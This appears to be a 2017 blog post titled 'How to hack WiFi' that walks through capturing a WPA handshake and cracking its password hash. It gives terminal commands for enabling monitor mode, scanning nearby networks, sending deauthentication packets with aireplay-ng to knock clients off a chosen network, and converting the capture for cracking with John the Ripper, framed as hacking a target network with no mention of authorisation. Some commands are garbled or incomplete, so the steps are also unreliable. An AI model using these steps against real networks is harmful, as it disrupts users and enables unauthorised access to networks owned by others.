Showing posts with label hack can i hack wifi in 2 min. Show all posts
Showing posts with label hack can i hack wifi in 2 min. Show all posts

Saturday, September 23, 2017

How to hack WiFi | WiFi Hacking

So, hacking WiFi includes 2 main steps-


1. Getting a handshake (it contains the hash of password, i.e. encrypted password)
2. Cracking the hash

HANDSHAKE AND CRACKING ITS HASHES FULL CONCEPT SUMMARY:-

Now what is the concept behind it, we will scan WiFi network around us and select the one network around us which we have to hack. After this we will deauth the WiFi network so all the clients or a particular client gets disconnected and when this deauth attack ends up the clients will reconnect and share the handshake fill or .cap fill with WiFi modem for verification and the attacker or hacker capture this file in which hashes of password are present and hacker will crack these hashes and he/she will get the password....... booommmm 

PRACTICAL:-

      step1=> Enable monitor mode on external adapter
        open the terminal and type  # airmon-ng 
               # airmon-ng start wlan0 (its 1 or 0 depends on which we have to enable monitor mode) 

                           now type # airmon-ng check kill

        step2=> scaning the nearby networks 

                          now type # airmon-ng wlan0mon 
it will scan the whole networks around us and then we have to press ctr+c to stop the scaning. Now we have to target 1 network which we have to hack 
                         now type # airodump-ng --bssid  -c (chanels) -w (path of the handshake file) wlan0mon 

         step3=> now open new terminal to deauth the network and capture the handshake 

now type # aireplay-ng --deauth 40 -a (bssid) -c (station) wlan0mon 
  when this attack ends up we will capute the handshake 


    now we have to crack the hashes present in .cap file with the help of  john the ripper tool

  step4=> last step to crack the hash 
    in this we have to convert .cap file to .hccap file to crack the hashes 
   now open another terminal and type 
   # aircrack-ng (path of .cap file) -J capptohccap
   # hccap2john (path of .hccap file ) > ( new path of pasword.txt ) save this new file as .txt 
  
  BOOMMMM YOU HACKED THE WIFI